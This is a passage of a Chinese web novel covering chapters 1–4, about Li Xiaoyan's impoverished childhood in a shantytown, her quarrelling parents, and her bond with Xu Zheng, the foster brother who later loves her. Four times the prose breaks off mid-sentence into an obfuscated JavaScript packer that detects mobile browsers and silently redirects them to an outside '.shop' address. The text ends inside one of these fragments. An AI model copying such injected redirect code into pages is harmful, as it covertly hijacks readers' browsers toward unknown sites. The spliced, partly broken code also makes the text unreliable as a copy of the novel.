《我养崽子那些年》 1. 第 1 章 给那段消散风中的岁月 ——题记 西环路上有个城中村,最近赶上棚户区改造,需要拆迁。 里面住着的那些钉子户是出了名的铁头陀——软硬不吃,匪气十足。 可怜社区和街道办的专组人员为了让这帮铁头陀开窍,磨破了嘴、跑断了腿,连里面有点口吃的居民代表都快磨成舌灿莲花的演讲专家了,却还是进展缓慢。 有好几次,里面那个虎背熊腰的山东大娘扯着一个100斤不到的社区小姑娘使劲摇,嘴里边嚎边叫,口水子弹糊了小姑娘一脸:“我就不搬,我就不搬,我住了一辈子,打算住到死,你们要拆就把我埋在里面,给你们当地基,我看谁敢往这里搬。” 小姑娘刚出社会没多久,可怜见的,硬是给摇成了拨浪鼓,还反抗不得,等老大娘摇过瘾了,才耐心把国家的好政策进行第五十次解释。 终于在一年过后,专组人员成功说服了所有人签字,挖掘机动工那天,好多棚户区老邻居都站在外面看,百感交集,好像一个时代就这么过去了。 那些倒下的瓦片砖墙,不是什么冷冰冰的建材,而是承载着过往峥嵘岁月的老伙伴,它们见证了这些人大半生的喜怒哀乐,见证了这个国家由穷变富的血泪奋斗史,它们也和着那些记忆到了消散风中寿终正寝的时候。 山东大娘擦着眼泪,喃喃说道:“回不去了,再也回不去了,都没了。” 边上一个发须皆白的老头擤了擤鼻涕,明白她那番话背后的隐晦心事。 “行啦。八十三,九十四,阎王不喊自己去。咱们还能住几年洋楼,享几年福,去给阎王爷报到之前也尝尝新鲜,我看那新修的小区附近有个小广场,好多老哥哥老姐妹在那里跳广场舞,以后我们也去凑个热闹,赶赶时髦。” 山东大娘揩干眼泪,冲他喷道:“老不正经,你别是看上跳舞的哪个大姐,开始动歪心思了。对了,你看见……晓言和小铮没有,他们回来签字了么,现在,怎么样了?” 老头瞥了他一眼:“哼,过的好着哩,前几天还见过一次,两个人一起的,都长得挺高,长得挺俊,我现在跟他们说话还得抬头看。” 山东大娘白了他一眼,就他那根号二的身高,能让他不抬头看的成年人,这世上不多。 一想起那两个孩子,山东大娘就心里不舒服,当年她看着他们从那么苦的状况里走过来,晓言被人砍得头破血流的时候,她还帮着擦过血,上过药……还以为两个人最后苦尽甘来,能过上平常人幸福圆满的生活,结果小铮突然做了那件事,让他和他姐都跌落到了无尽深渊。 那会儿很多人骂他们,山东大娘是带头骂的最凶的,两个人后来都走了,一去就是好多年,再也没回来。 拆迁前一个星期,山东大娘还去两人以前住的那间小平房里瞧了一下,捏着鼻子翻了翻,无意间从小铮的床铺下翻出些东西。 那是一本笔记本,破烂的皮壳子,泛黄的书页,清秀的字迹……她不识字,便将笔记本拿回家给离婚后伶仃一人的孙女看,让她给自己读一读,孙女一看脸都绿了,颤颤巍巍的读到: “我老觉得爱情奇怪,它是一种宿命的东西。对我来说,它的内容就是‘碰上了,然后就爱上,然后一点办法也没有了。’——王小波 姐,我总是拿着一把解剖刀剜着自己的心,希望能把这份无望的爱从我身体里剜出来,可是剜出来了,我也就空了,好像无根的树,只能在这个无趣的世界上慢慢枯萎至死。 我对你,真的一点办法都没有,大概到我死的那一天,这份爱才能和我一起消失在这个世界上。” 山东大娘狠狠拍了一下自己的大腿,啪的一声响,骂骂咧咧道:“真是恶心,忒恶心,姐弟俩都恶心。这个许铮真不是东西,他姐辛辛苦苦把他养大,不是他姐,他早就恶死在街上了,婊/子生的,果然都是贱骨头。” 孙女有些尴尬,怯怯说道:“奶奶,您当年可是只骂李晓言的,现在怎么骂许铮了。感情这种事谁也说不清楚,两个人相依为命走过来,那种感情很难见到。”顿了一下,她没见山东大娘反驳,便补了一句,“再说小铮又不是晓言的亲弟弟,他们也没有血缘关系。” 山东大娘粗暴的打断她:“闭嘴!既然领进家了,被养了这么多年,他们就算没有血缘关系也是亲姐弟,真是狗嘴里吐不出象牙,跟你那个三十岁还不结婚的废物哥一个样……” 孙女不说话了,把笔记本收了起来,希望哪天见着能还给许铮,或者托哥哥给他,毕竟当年这个棚户区里,她哥刘家豪和李晓言、许铮玩得最好,许多人还想着李晓言和刘家豪能成一对,结果两人谁也没瞧上谁,大路朝天各走一边,便越走越远了。 而在这个城市的第一中学里,柳絮随风飘洒,漫天飞舞。 在漫天飞絮当中,许铮正跟在李晓言后面缓缓走着,他的目光一直粘在前面那个人的背影上,哪怕他现在已经长得比她高出许多,却依然觉得,他姐是一座高不可登的山峰,让他可望不可及。 虽然难以企及,却给了他无穷无尽想要攀爬的念想,这念想从种子开始,经过这么多年的日照雨淋,已经成了一棵参天巨木,成了他纷繁人生中的力量之源和定海神针。 李晓言转过头,看见许铮的头上有柳絮,便走过去替他拿了下来,手刚落到一半,许铮就握住了她的手,他已经长大了,展开的手掌能把他姐的拳头包在里面,再不像小时候那样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445294|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手掌只能堪堪勾住她的一两根手指。 李晓言:“干嘛呢,耍流氓呢!?” 许铮半开玩笑地说:“就是耍流氓,都三年没见了,想一次性把流氓都耍个够。” 李晓言紧绷着脸,眼中飘过一片乌云:“想挨揍是不是,三年没打皮就痒了?” 许铮:“姐,你现在揍不了我了,我刚拿到跆拳道黑带证书。” 李晓言:“……” 曾经的西环一姐晓言姐硬是愣在那里没敢吭声,怪不得这小子的手劲大了许多,原来这几年都在暗度陈仓想要犯上作乱。 李晓言急忙找补回他的家姐尊严:“我说你小子是去读书的,还是去不务正业的?” 许铮笑道:“姐,我这学期也拿到国家一级奖学金了。” 李晓言:“……” 她突然生出一两分心酸,以前随便骂的崽子好像在这几年里已经把自己锻炼的无坚不摧,她这个姐姐在如此优秀的弟弟面前颇有几分英雄落寞的惆怅。 许铮放开李晓言的手,自己偷摸摩裟了两下,好像刚才的触感还在手中逡巡不散,有点不真实。 “姐,这几年你过得好吗?” 这话倒是把李晓言给问住了,她没有回答,从包里摸出一根烟,刚叼在嘴上准备点火,就被许铮以跆拳道黑带选手“稳准狠”的利落出手给抽了出去。 “姐,这是学校,注意影响。” 李晓言一下就上火了:“呦,装了点墨水就装高雅了,你不就比我多读一年大学吗,教训谁呢!” 许铮愣怔了一瞬,轻声一笑:“是四年,姐你忘了,你只读到高一,还没毕业,不算高中生。” “……”倘若手里面有板砖,李晓言真想给这个愈发没大没小的兔崽子脑袋开个瓢,让他知道这家里还是谁说了算。 许铮一看李晓言皱眉,立马认怂:“我开玩笑的,姐你别生气,生气了会长皱纹,毕竟快奔三了。” 李晓言飞起一脚就朝许铮拐了去,许铮看着无影腿的残影袭来,却岿然不动,膝弯处和李晓言的小腿碰了个正着。 李晓言瞬间就后悔了,一脚飞去,自己却被膈了个生疼。 “这兔崽子再也不是以前那个全身软软的小孩了……” 晓言姐心里蓦然升起一股老母亲般的的喜悦和惆怅,看着养的崽子长成了大人,光阴在刹那间呼啸成了一辆列车,在她面前疾驰而过,只留下列车烟囱里淌出的白烟霏微,承载着那段岁月最后的一点记忆。 “小铮,跟姐回去看看,顺便看看那个老不死的山东大娘,看看她还能不能骂的像以前那么溜。” 许铮抬眸,深深看着李晓言,然后轻轻点了一下头:“好。” 2. 第 2 章 这是个西南小城,常年阴沉沉的,就算太阳偶尔赏脸露个面,也露不利索,像个豆蔻少女那般羞羞答答。 小城的西环路又破又烂,整条路并不长,两边林立了十几个工厂,从皮革厂、制药厂、造纸厂、缫丝厂……再到煤场,一应俱全,全市和周围郊县居民的生活所需一小半都从这里出来,这些大大小小的厂子里面也囊集了这个城市的第一代农民工。 李晓言的妈在缫丝厂做工,她爸不喜束缚,有点生性不羁爱自由,如果不是被现实一次次打脸,他老觉得他是个合该封狼居胥的人物,凡人堆里容不下他这条蛟龙。 于是从煤厂到木板厂再到造纸厂换了一圈后,终于找到了一个他不那么厌恶的饭碗——沿街卖酒。 那时候的瓶装酒是上层的有钱人才喝的起的奢侈品,绝大多数贫下中农只喝得起散装酒。 李晓言的爸每天一大早去酒厂批发两桶酒,再把酒桶绑在自行车后座上,一边一个,中间有根木棍连着,架在后座上做支撑。 随后便敲着那个绑在手龙头上的竹筒,拖长音喊道:打酒,打酒,刚出炉的蹦的儿酒,喝了蹦的高,喝了蹦的快。打酒,打酒…… 李晓言的爸是个喜怒完全形于色的人,要是今天生意好,酒都卖完了,他回来必是满脸春风得意的狂妄,架着二郎腿吆喝着李晓言妈赶紧做饭,顺便显摆自己今天的气运;要是今天生意不好,或者被同行抢去了老主顾,他回来必是一番山雨欲来的凝重,唇角绷紧的好似注了铅,一个人做完饭,然后默默坐在矮板凳上吸烟。 李晓言有点怕她爸,每到这个时候,她总是快速扒完饭,然后脚底生风一般溜出去。 她怕她妈的两句唠叨把这个火/药桶点炸,紧接着就是一阵唇枪舌剑的交锋,这二位都是火爆脾气,要是嘴仗不解恨,两人是要动手的。 不过二人动手还有点心照不宣的君子准则——只打东西不打人。倘若你摔凳子,我便摔桌子,你摔饭碗,我必定把放在桌子中间的大汤碗一并砸了…… 大多时候,都是李晓言放学回来打扫战场,扫地拖地,倒掉垃圾,再找个平整的地方写作业,心里一边打鼓一边祈祷,希望那二位都能齐齐整整回来,不要赶时髦来个抛妻(夫)弃子,一去不回了…… 毕竟这样的情况在那个年代,是常有的事,李晓言有很多次都怀疑,是不是因为自己的关系,所以家里总是疾风骤雨的,如果没有她,这个家会不会更好? 因为每次吵完架,她妈总爱哭着对她说:“要不是为了你,我早就和那个死鬼离婚了。” 她爸也总爱阴沉着脸色对她说:“我和那个憨婆娘早就过不下去了,但是为了你,勉强在一起过活,跟你说这些话,是要你有个心理准备,要是哪天真过不下去了,大家就拆伙算了。” 那时候李晓言还在读小学,她躲在被子里偷偷哭了好多次,因为是缫丝厂分给他们的宿舍,只是一个六平米的小间,中间挂了个帘子勉强被分成两间,她怕她爸妈听见,只能窝在被子里哑着嗓子哭,哭窒息了便伸出脑袋吸两口气,然后又躲进去接着哭,直到慢慢被睡魔占领昏沉沉睡过去。 有哪个小孩,是希望自己在风雨飘零,随时分崩离析的家里长大的呢,李晓言许是上辈子做了孽,这辈子来还,不过这也意外锻炼了她忧患意识远远强于常人的那点苦涩本能,也是她日后变得越来越沉默冷静的由头。 这样的日子一直持续到李晓言上初一,她在学习上是个瘸子,极其不对称那种,数学特好,语文特烂,英语上把“烂”这个字糊到她脑门上都是在侮辱“烂”的字典定义。 但好在入学分班考试不考英语,只考数学和语文。 而天降大运,那语文试卷百分之八十的题都是她在五年级的一张试卷上做过的,因为那张试卷她轰轰烈烈拿了个十分,被老师当作典型案例进行全校广播,那个时候的师生关系不像日后那般客客气气的,老师们气炸了时候把学生从前门踹到后门,最后飞起一脚把人踹到垃圾簸箕里的事也是有的,过后家长知道了,通常会一个大耳巴子给自己娃娃扇过去,再按头给老师道歉…… 那个“十分”名扬全校过后,李晓言在讲台边上蹲着上课上了一整天,被她妈拎回家后,她妈一手握菜刀,一手按住李晓言的左手,磨着牙说道:“给我好好改,改不过来老子砍了你的手!” 这个地方的女人凶起来也会自称老子,李晓言在泪眼朦胧中改了一整夜,又把老师偷塞给她妈的标准答案抄了十来遍,终于大功告成,成功保住了她的一只爪子,没有变成独臂女侠。 不过多亏了那次刻骨铭心的失败,才迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445295|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了李晓言同学入学考试的一战成名,数学100,语文92,李晓言同学以第二名的惊艳成绩进入了猪狗不如的初中生涯,因为小学时还得了华罗庚数学竞赛奖,学校给她免去了建校费,差不多有五千块,那个时候这五千块是她家砸锅卖铁也凑不出来的天文数字。 这事儿,李晓言爸妈逢人便吹,几乎成了喜气洋洋版的祥林嫂,让四周的邻居都蒙上了一层阴影,毕竟同是穷苦出身,进城务工的社会底层,凭什么你们家就有了能够窥见天光的升云梯,而自己家就只能在日复一日的操劳中苦闷迷茫,看不见半点出库。 大家都穷或者都富的时候,是最和谐融洽的时候,要是其中有人先富了,富的人还爱显摆,回头踩别人一脚,那是必然会招恨的。 这种道理李晓言爸妈自然是懂得的,但懂也阻挡不了他们想大张旗鼓显摆的心,活像被旁人断定老不中用该宰了,却突然下个蛋的老母鸡,势必要聒噪的人尽皆知。 直到一年后,李晓言同学拿着一张惨不忍睹的成绩单回家时,才让这两口子彻底闭了嘴。 语文历史地理英语全线阵亡,她又被塑造成了“谦虚使人进步,骄傲使人落后”的年度最佳典范,在全校师生的嘲水滔天中度日如年。 李晓言爸妈如遭雷劈,沉默了足足半个小时,然后她爸默不作声走出去抽烟了,她妈拧着她的耳朵说道:“别出去说你不会,就说你不想学,想学自然能考好,听到没有。” 李晓言赶紧点头,她妈又说了一句换她如遭雷劈的话:“那个,你老娘要下岗了,国企改革,所有人都要下岗,这个房子也要被厂子收回去,我跟你爸商量了一下,暂时搬到附近那片平房去,再寻思着谋个生路。” 李晓言如坠云端,头重脚轻,然后余光瞥见锅台边的饭菜——只有掺和着玉米面的米饭,还有两块豆腐乳。 她瞬间便懂得了生存压力这四个字的含义,在她十二岁的末梢,十三岁快来的时候。 搬家那天阴雨绵绵,整个城市都蒙上了一层灰,被迫进行生存竞争的人们焦躁压抑,开始思考着未来的路。 未来的路对这帮平均文凭为小学的初代农民工来讲,无非是三条:回农村种田、拿出本钱做生意、下海碰运气。 哪条路都好像是活路,哪条路都好像是死路。 3. 第 3 章 过了二十年后,人们常常会怀念那段岁月,称那个时代为大争之世,是个开仓抢钱的时代,只要敢想敢做,几乎干什么都能捞到钱。 但当时面对仓门初开的人们,却好像被炮烙一般,迷茫、焦虑、恐惧、无奈……间或夹杂着一两丝无来由的兴奋,好像未来的空气穿越时空拂到了他们脸上。 李晓言爸决定回家种地,她妈却打死不回家。 她和她公婆,也就是李晓言的奶奶是一见面就炸毛厮杀的死仇敌,李晓言奶奶是出了名的恶婆婆,李晓言妈也被逼成了出了名的恶媳妇,二人隔着田地火力全开的骂战在村子里是一道可口的下酒菜,喜闻乐见。 两人讨论到最后还是李晓言妈那句“别人都能活下去,我们怎么就活不下去?好狗不走回头路,我们热火朝天跑来城里闯天地,最后却灰溜溜的回去,丢死个人,人要活出点骨气。” 李晓言爸是个懒散懦弱却十分好面子的人,又正值壮年,听了这句话脸上挂不住,便同意留下来了,二人盘点了一下家当,决定在吃和住上尽量节省,其余的钱拿出来做点小本生意,看看行不行得通,若是行不通,便立马收拾包袱滚回老家。 李晓言一进那片歪歪扭扭的棚户区,便觉得浑身憋闷的慌,可能是天气的原因,也可能是棚户区里让人触目惊心的生存环境,她觉得自己的人生都灰暗了。 这里只有一个大公厕,其实也就是两个大土坑,用草棚一盖,红砖一围,一到酷暑的时候,从公厕传出的味道十里飘香,能去所有人家拜访一圈。 棚户区前有棵歪脖子树,上面耷拉着一排小孩的尿布,其中几条隐约还有些洗不掉的黄渍。 李晓言爸租的房子总共有两间屋子,不透光,昏黄的灯光一照,屋里莽苍苍一片甚是凄凉,床是用砖头和木板搭成的,此外李晓言的屋里还有个像是从坟堆里挖出来的矮柜子,斑斑驳驳的印子像是浸染进去的血迹,有些瘆人。下面放东西,上面可以用来做作业。 凄凉是凄凉,但总归有个可以遮风避雨的地方,李晓言父母都比较满足,花了半天时间把屋子里里外外打扫一遍,便开始安放三瓜两枣的家当,李晓言爸去买了两个一百瓦的灯泡回来换上,屋子瞬间明亮了许多,约莫有个家的味道。 新地方的第一晚总是难以入睡的。 好不容易熬到天色微亮,李晓言赶紧洗漱好冲出门,赶去学校领暑假作业,在经过棚户区入口处的歪脖子树时,她忽然停住了脚步,因为她看见一个穿着开裆裤,露出屁股蛋子的小男孩正在歪脖子树下掏泥巴。 光掏还不够,那软软的、细胳膊细腿的小兔崽子还要往嘴里送,李晓言迅速走上去,一巴掌拍掉了他手上的泥,小兔崽子懵了一下,傻愣愣的看了李晓言一眼,随即,他“嗷”一嗓子嚎出来,扑到李晓言的腿上要咬她。 李晓言立马缩回腿,没想到那小孩扒在她腿上不下来,李晓言往后跳退了几步,小孩硬是让李晓言给带着在地上拖行了一段距离,光屁股在沙石地上一磨,小兔崽子嚎的更厉害,一张嘴,便叼住了李晓言的腿。 很不幸,这是夏天;更不幸的是,李晓言今天穿的短裤只到膝盖的位置。 “啊——”李晓言凄厉叫喊一声,提起另一只脚往小兔崽子胸口踹过去,小兔崽子胸口吃痛,顿时松了两只爪子,四仰八叉往后一倒,滚了一圈后爬起来蹲在地上,双目放光,灼灼的像要烧人,手里攥着一颗尖利的石头。 李晓言一看不妙,这娃属狼的,便一溜烟赶紧跑了。 她一路疾行,不时回头看看,还好那小家伙没跟上来。李晓言渐渐放慢了脚步,看了看腿上的牙印,红红的颗粒毕现,有点火燎燎的疼。 但她越想越不对劲,那小家伙看上去有四五岁大了,虽然脸被泥土糊住看不分明,但从他那胳膊腿的长度打量,好像和小学一年级的那帮小崽子们差不多高,但为什么还穿着开裆裤坐在外面玩泥巴,在天还没亮的时候,他爸妈去哪里了? 想到这里,李晓言蓦地停住了脚步,她心里倒灌了一口凉气,想着:那家伙不会是走丢了吧,还是被人贩子拐卖逃出来的,又或是脑子有问题被他爸妈给扔了? 李晓言正好处于家到学校的中间位置,她的脚尖往后转了九十度,又停住了。 “就算是又如何,关我什么事,我能干什么?” 李晓言经过几年家庭战争的洗礼,心已经比以往硬了许多,冷了许多,至少她再也不会躲在被子里哭了,她已经在长年风雨飘零中练出了一种初具模型的自我保护思维:随时准备好一个人往前走。 “一会儿天亮了,自然有人看见他,说不定会报警。” 想到这里,李晓言便决定把他像垃圾一样扔出脑外,不再理这茬,又转过脚尖往学校走。 时间尚早,李晓言在校门口等到大门打开,肚子咕咕咕响个不停。 她在操场上转悠了两圈,这操场四周有几棵上了年龄的老树,李晓言每次从这几棵老树边经过,都觉得好像那几棵老树长了眼睛,在盯着她。 李晓言脊梁骨发麻,嘴里骂了一句:“老不死的。” 她除了心变冷了,嘴也变狠了,这里面一半的功劳得归功于她出口成脏的父母,另一半得归功于李晓言自己的天赋异禀。 转了两圈,李晓言看见大门口陆陆续续进来一些人影,便慢慢踱步到教室,班主任和另一个同学在里面,同学叫李伟,这次考试得了全班第一、全校第三,班主任看着他,两眼笑成了一条细线。 “好好努力,下次争取拿个全校第一。” 李伟牛高马大,身材魁梧,变声也比别人明显,粗哑着嗓子说道:“好,我一定努力。” 李晓言被当做了空气,默默去后面的几堆不同科目的作业册中各拿出一本,抱在手里,然后招呼也不打一声,就从后门走出去了。 刚出后门,她就听到里面传来的尖嗓子阴阳怪气声:“可别像某人一样,家里条件不好还一天天胡搞,一点也不为家里考虑,爹妈都穿得像捡垃圾似的,还不把学习当回事,日后,可是要后悔的。” 李伟瞬间就不吭声了,他知道这话是说给谁听的,有些尴尬,还有害怕,他是好学生,不想惹流氓,李晓言虽然是个女生,但在初一已经隐隐约约有了流氓气息,虽然没见她打过谁,但眉眼中流露出来的肃杀气已经很明显的告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445296|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了所有人:别惹我。 李晓言果然停住了脚步,她转身扒在窗户上,目光像针一样钉在那个中年女人的脸上,有那么一刻,她想把手上的一堆书从窗口扔进去,最好把那个女人的脑袋砸开花,但她还是克制住了。 她提起嘴角,咧着嘴露出一个轻蔑又猖狷的笑容,然后做了一个脱帽致敬的动作,便绷着脸转身走了,越走越快,直到可以飞奔成风。 这个学校在当地算是贵族学校,因为那个贵的吓人的建校费,当初李晓言的妈也是让她来试试看,如果考不到前几名,就去便宜的公立学校读,结果李晓言考了个第二,也让鱼鳖溜进了蛟龙住的水潭子。 李晓言的衣服,多半来自于亲戚孩子的旧衣服,不太合身,看起来也旧,有些还有细长的补丁,如果不是靠她那张明艳过人的脸撑着,估计会被嘲成一滩烂泥。 因为那张脸,那些女生就算嘲李晓言,心里也没底气。 贵族学校的学生没有那么大的生活压力,尽整些无聊没用的,过什么西方的情人节,李晓言在情人节那天收到了一整个抽屉的小礼物,有花,有巧克力,还有情书,抽屉里放不下,便堆到她的书桌上,让周围的女生眼红不已。 虽然那些礼物都被李晓言装进了箱,放到了学校的失物招领处,但还是挡不住大家对那张脸的热情。 情人节过后,便开了一场家长会,李晓言爸妈都是粗糙又大条的人,哪里想过去别处借一件好衣服穿上,给孩子长长脸。他们就穿着他们那身又皱又灰的衣服去了,在光鲜亮丽的众人堆里,显得可怜又特别。 班主任看着这二位的衣着,原本想痛批李晓言招蜂引蝶的话都哽在嗓子里倒不出来了,立马改成了委婉劝导,让这二位回去从旁敲打,帮李晓言收心。 回家后,她爸看着李晓言忽然笑了:“你这个娃娃,有你爸当年的风采。” 李晓言丈二和尚摸不着头脑,有些懵。 她妈白了她爸一眼:“狗嘴里吐不出象牙。李晓言我告诉你,你要敢谈恋爱,老娘打不死你。” 李晓言:“……” 她妈嘴上说得狠,心里其实也乐,当年找对象的时候,有好几个人看上了她的勤劳和乐观,上门提亲。其中有家里条件好的二世祖,也有手艺好的工人,只有李晓言的爸啥也不会,家里也穷,但他有一样是别人都比不了的——长得太帅。 在那个普遍长得歪瓜裂枣或者平淡无奇的村上,李晓言爸帅的有些璀璨夺目,高鼻梁,深眼窝,薄嘴唇,小脸盘,整个看上去就像一个立体感十足的雕塑,一打篮球更是神采飞扬,把李晓言妈弄得五迷三道。 于是在财富和美貌之间,李晓言妈毅然决然选择了美貌,虽然苦了自己一辈子,但也为提高人类平均颜值水平做了一点贡献。 李晓言完全继承了她爸立体的五官,但不像她爸那般棱角分明,她同时也继承了一些她妈的清秀,最后调和出了一种既俊又秀还艳丽的美感,如果不是那从骨缝里就透出来的反社会流氓气息,她应该和戏文里的唱的绝代佳人差不多。 而此时李晓言飞奔回家,脑子里就只有一个念头。 她要退学。 4. 第 4 章 李晓言回家之前拐了个道,去城中心的云宾饭店看看她的发小,高凡。 高凡原名高不凡,从名字的变迁就可以看出他人生的变迁。 他父母对他寄予了厚重希望,但是高凡同学越长越偏离轨道,不通人情世故不说,平日里不爱说话爱傻笑,见面也不会喊人,成绩差就不说了,那算是他所有缺点里面最不起眼的。 李晓言和他从幼儿园一直同班到小学毕业,知道这孙子是怎么混过来的,所以当他读完小学说自己不打算读书的时候,李晓言竟然偷偷为他松了一口气。 “猪果然还是适合活在猪圈里。” 高凡听了也不生气,仍旧嘿嘿傻笑,然后告诉李晓言一个特大喜讯:他爸要带他去改名了,从高不凡改成高凡。 高凡说这话的得意劲儿李晓言永远也忘不了,感觉那天简直是这家伙的人生巅峰,比什么登科及第、娶妻生子、升官发财还要开心十倍,他随后说了一句让李晓言记了一辈子的话:“不凡是别人想要的,我就想要平凡,他们想要让他们自己挣去,我就给自己挣个平凡。人得认清自个儿,爷爷我就是个凡夫俗子,还一天天顶着个‘不凡’招摇撞骗,我脸热!” 李晓言第一次拿看正常人的眼光看了高凡一眼,觉得这小子能把自己不思进取的本质说的如此有哲学意味,还真是个人才! 不过这些话高凡只对李晓言说过,在别人面前他是不说的,还是傻愣愣的把自己当做大脑发育有缺陷的残次品,别人越说他傻,他越开心。 他就这样跟他爸学炒菜去了,他爸是云宾饭店主厨,托关系让他进来当个学徒,从洗菜刷碗做起,没有工资只管饭,高凡便开始了累成狗的学徒生涯。 李晓言蹩到后门廊下,朝后厨打望,这个时候还算清闲,后厨只有高凡和另一个人在准备配菜,经过一年的历练,他终于有资格拿菜刀切菜了。 高凡心有灵犀般抬头一看,便看见李晓言,他赶紧放下菜刀,在围裙上揩了揩手,走出后门。 “丫头,你怎么有空来了?” 高凡很开心,眼睛亮亮的,和李晓言满脸的阴郁形成鲜明对比。 李晓言从上到下打量他一眼,都说当厨子是个好差事,果然一点没错,高凡这娃越来越往矮肥圆的方向发展了,十匹马都拉不住。 他爸就是个五短身材,他完美继承了他爸的基因,一点也没浪费,而且私下里肯定偷吃过不少东西,胸前和肚子上的肥肉在走过来时震颤的很有节奏。 他如今的海拔高度和李晓言相比,也越拉越大了。 李晓言笑骂一声:“你是要把自己养肥了好宰杀吗?” 高凡笑呵呵的,捏了捏自己腰围上的肉:“大姑娘家说话注意着点。羡慕吧!这都是福气,你要羡慕哥匀二两给你。” 李晓言呵一声:“自己留着过冬吧,我就是顺道过来看看你,要放暑假了。” 高凡看了她手里一摞作业册,得意洋洋说道:“哟,还写作业呢,宝贝儿加油,写完了哥给你买糖吃,呵呵。” 这还蹬鼻子上脸了! 李晓言:“去你的,您老起驾回宫继续切菜去吧……哦,对了,还有一件事,我家挪地方了,我妈下岗了,我们在西环路的那片平房区重新租了屋子,你要来找我,就进去后直走,到第三个巷子左拐,里面的第四间屋子。记住了吗,猪!” 高凡点点头,神色暗沉了一些:“那下岗了以后咋办,叔和阿姨什么打算?” 李晓言:“不知道,可能要尝试做点小买卖,实在吃不上饭就回家种地。” 刚说完吃饭问题,李晓言的肚子就很应景的叫唤了出来,声还挺大,弄得她瞬间尴尬不已。 高凡一听,二话没说,转身回后厨,没过多久便端着一个大碗走了出来,是一碗粥,上面还放了根油条。 “快吃吧,一会儿其他人就来了,看见不好。” 高凡刚一说完,屋里那人便嚷了起来:“凡子,啥话要说那么久,你俩谈对象还是咋滴。” 高凡冲门内回道:“就是谈对象,我媳妇儿咋滴。” 李晓言刚要骂,高凡把碗塞她手里,便回去了,还不忘嘱咐道:“趁热快点喝。” 高凡回去继续切他的菜,李晓言看着那碗冒着热气的粥,不知怎的,心里堵的慌,她的身体恨不得把那碗粥和油条吃干抹净,但是她的理智和情感却像是拉住她整个身体的缰绳。 因为这碗粥在明明白白的告诉她一件事:她是个穷的连早饭都买不起的废物。 中年女人的话又在她耳边回荡起来:“可别像某人一样,家里条件不好还一天天胡搞,一点也不为家里考虑,爹妈都穿得像捡垃圾似的,还不把学习当回事,日后,可是要后悔的。” 她看着那碗粥,对自己嘲讽道:“李晓言,你现在是在要饭吗?” 她把那碗粥放在门廊上,趁高凡转身洗菜的时候,便飞快逃走了。 如果她是个百万富翁,那碗粥她一定痛快喝完,还能调侃说自己终于沾了一下厨子的光。 但如今贫穷是她心上的倒刺,碰不得,一碰就带血的疼,她还是个敏感热血的少女,不知道怎么和这个艰难的世界相处,只能任凭自己的怒火敲响战鼓,用自己的执拗来对抗这个操蛋的世界。 回到棚户区后,快中午了,那棵歪脖子树下已经看不见那个小崽子的人影,只有几个豁牙的老大娘在树下坐着剥豆子。其中一个比周围的几个都要庞大一些,那是李晓言家的房东,一位从山东远嫁过来的大娘。 棚户区的人都管她叫做山东大娘,至于她的真名,倒没人知道,也没人在意。她看着李晓言走过,笑眯眯说道:“长得真俊啊,长得真俊啊,比电视上的那些人还好看。” 其他人也附和着点头,小声说道:“跟她爸似的,不过比她爸还要精神,但是性格不咋地。” 李晓言不聋,山东大娘的嗓门有种天然扩音器效果,她的话当然钻进了李晓言的耳朵,不过她一点也高兴不起来,心想:“长得好有屁用,又不能像其他女的一样去卖身。” 掉进钱眼里的李晓言那个时候还不知道,人走到绝路是会做出很多不得已的事,日后当她面对绝路时,也思考过这种应聘上岗的可能性。 李晓言打算一回家就跟她爸妈摊牌,说她要退学赚钱,但离她家几十步距离时,她就瞅见有一堆人挤在她家门口,好像都是女的,穿的衣服花花绿绿,有些堪堪只能遮住臀/部。 虽然都是女生,但感官刺激还是比较大,李晓言赶紧把目光往上放,略微有些不适。 她从这些花花绿绿中挤进去,听见“哐当”一声脆响,她妈正把一口锅砸到地上,指着她爸吼道:“是你们家家教不好,还是我家家教不好,你搞错没有,就你那个爹妈,你还有脸说别人。” 李晓言爸指着她,双眼鼓胀,额头上的青筋爆裂而出:“老子今天就告诉你,你他妈别给脸不要脸,嘴放干净点,我爹妈就算是人渣混蛋那也是我爹妈,轮不到你来说,你说你这几年尽到做媳妇儿的责任了吗,恶婆娘一个。” 晓言妈全身发抖,把声音又提高几个分贝:“牛日出的棒客,呸,锤子爹妈,你爹妈那么好你回去抱着你爹妈睡,抱着你爹妈死。” 李晓言爸飞起一脚就踹向了边上的桌子,那张桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 